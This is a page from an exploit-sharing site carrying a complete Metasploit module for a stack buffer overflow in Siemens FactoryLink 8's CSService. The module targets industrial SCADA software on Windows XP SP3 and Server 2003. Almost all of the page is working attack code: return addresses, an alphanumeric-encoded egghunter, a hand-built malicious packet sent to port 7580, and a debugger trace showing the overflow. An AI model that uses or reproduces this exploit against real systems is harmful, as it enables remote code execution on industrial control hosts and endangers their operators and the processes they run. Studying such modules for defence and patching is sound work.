[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Siemens FactoryLink 8 CSService Logging Buffer Overflow

Author
metasploit
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-16410
Category
remote exploits
Date add
25-06-2011
Platform
windows
##
# $Id: factorylink_csservice.rb 13019 2011-06-25 00:54:18Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh
    include Msf::Exploit::Egghunter
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Siemens FactoryLink 8 CSService Logging Buffer Overflow",
            'Description'    => %q{
                    This module exploits a vulnerability found on Siemens FactoryLink 8. The
                vulnerability occurs when CSService.exe processes a CSMSG_ListFiles_REQ message,
                the user-supplied path first gets converted to ANSI format (CodePage 0), and then
                gets handled by a logging routine where proper bounds checking is not done,
                therefore causing a stack-based buffer overflow, and results arbitrary code execution.
            },
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 13019 $",
            'Author'         =>
                [
                    'Luigi Auriemma <aluigi[at]autistici.org>',  #Initial discovery, poc
                    'sinn3r',  #Metasploit (thx hal)
                ],
            'References'     =>
                [
                    ['URL', 'http://aluigi.altervista.org/adv/factorylink_1-adv.txt'],
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
                    'StackAdjustment' => -3500,
                    'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
                    'EncoderOptions' => {'BufferRegister'=>'ECX'},
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "process",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'Windows XP SP3',
                        {
                            'Offset' => 965,         #Offset to overwrite RETN
                            'Ret'    => 0x7e4456f7,  #JMP ESP in USER32.dll
                            'Max'    => 1400,        #Max buffer used
                        }
                    ],
                    [
                        'Windows Server 2003 SP0',
                        {
                            'Offset' => 965,
                            'Ret'    => 0x77d20738,  #JMP ESP in USER32.dll
                            'Max'    => 1400,
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Mar 25 2011"))
 
            register_options(
                [
                    Opt::RPORT(7580)
                ], self.class)
    end
 
    #User input will get converted back to ANSCI with WideCharToMultiByte before vsprintf
    def to_unicode(text)
        output = ''
        (text.length).times do |i|
            output << text[i,1] << "\x00"
        end
        return output
    end
 
    def exploit
 
        #Modify payload
        #XP = Align EAX 0x3a bytes.  Win2k3SP0 = 0x0a bytes
        p  = "\x57"      #PUSH EDI
        p << "\x59"      #POP ECX
        p << ((target.name =~ /server 2003/i) ? "\xb0\x0a" : "\xb0\x3a")
        p << "\x30\xc1"  #XOR CL,AL
        p << payload.encoded
 
        #Meterpreter tends to fail because of it being mangled.  We use an egghunter
        #instead to ensure the payload's integrity.
        egg_options =
        {
            :checksum => true,
            :eggtag   => "W00T",
        }
 
        egghunter, p = generate_egghunter(p, payload_badchars, egg_options)
 
        #x86/alpha_mixed egghunter
        alpha_encoder = framework.encoders.create("x86/alpha_mixed")
        alpha_encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ESP'} )
        egghunter = alpha_encoder.encode(egghunter, nil, nil, platform)
 
        sploit  = ''
        sploit << make_nops(4)
        sploit << p
        sploit << rand_text_alpha(965-sploit.length)
        sploit << [target.ret].pack('V*')
        sploit << egghunter
 
        sploit << rand_text_alpha(target['Max']-sploit.length)
        sploit = to_unicode(sploit)
 
        pkt  = "\x00\x00\x4c\x45\x4e\x00\x40\x0b\x00\x00\x00\x00\x00\x00\x99\x00\x00\x00\x04\x00"
        pkt << "\x00\x00\x01\x07\x00\x00\x0b\x31\x99\x62\x72\x6b\x01\x00\x00\x00\x02\x04\x00\x00"
        pkt << "\x00\x04\x00\x00\x00\x01\x07\x00\x00\x0b\x19\x99\x00\x00\x00\x06\x00\x00\x00\x03"
        pkt << "\x06\x00\x00\x0a\xf6\x11\x22\x33\x44"
        pkt << sploit
        pkt << "\x00\x00\x06\x00\x00\x00\x06\x11\x22\x33\x44\x00\x00\x04\x00\x00\x00\x04\x00\x00"
        pkt << "\x00\x01\x99\x99\x99"
 
        print_status("Sending malicious request to remote host...")
 
        connect
        sock.put(pkt)
        handler
        select(nil, nil, nil, 6)
        disconnect
    end
end
 
=begin
0:000> g
call vsprintf. Destination=0x0012ead0 Format=0x0043b92c Args=0x0012eedc
eax=0012eedc ebx=7c809a99 ecx=0043b92c edx=0012ead0 esi=0012eee8 edi=00000002
eip=0040b908 esp=0012eac4 ebp=0012fabc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
CSService+0xb908:
0040b908 ff15249b4400    call    dword ptr [CSService+0x49b24 (00449b24)] ds:0023:00449b24={msvcrt!vsprintf (77c3fe49)}
 
0:000> dc 0012ead0
0012ead0  65535343 63697672 43203a65 47534d53  CSService: CSMSG
0012eae0  73694c5f 6c694674 525f7365 2d205145  _ListFiles_REQ -
0012eaf0  6f685320 72694477 2c303d73 6c694620   ShowDirs=0, Fil
0012eb00  3d726574 6150202c 613d6874 61616161  ter=, Path=aaaaa
0012eb10  61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa
0012eb20  61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa
0012eb30  61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa
0012eb40  61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa
 
=end



#  0day.today [2024-12-24]  #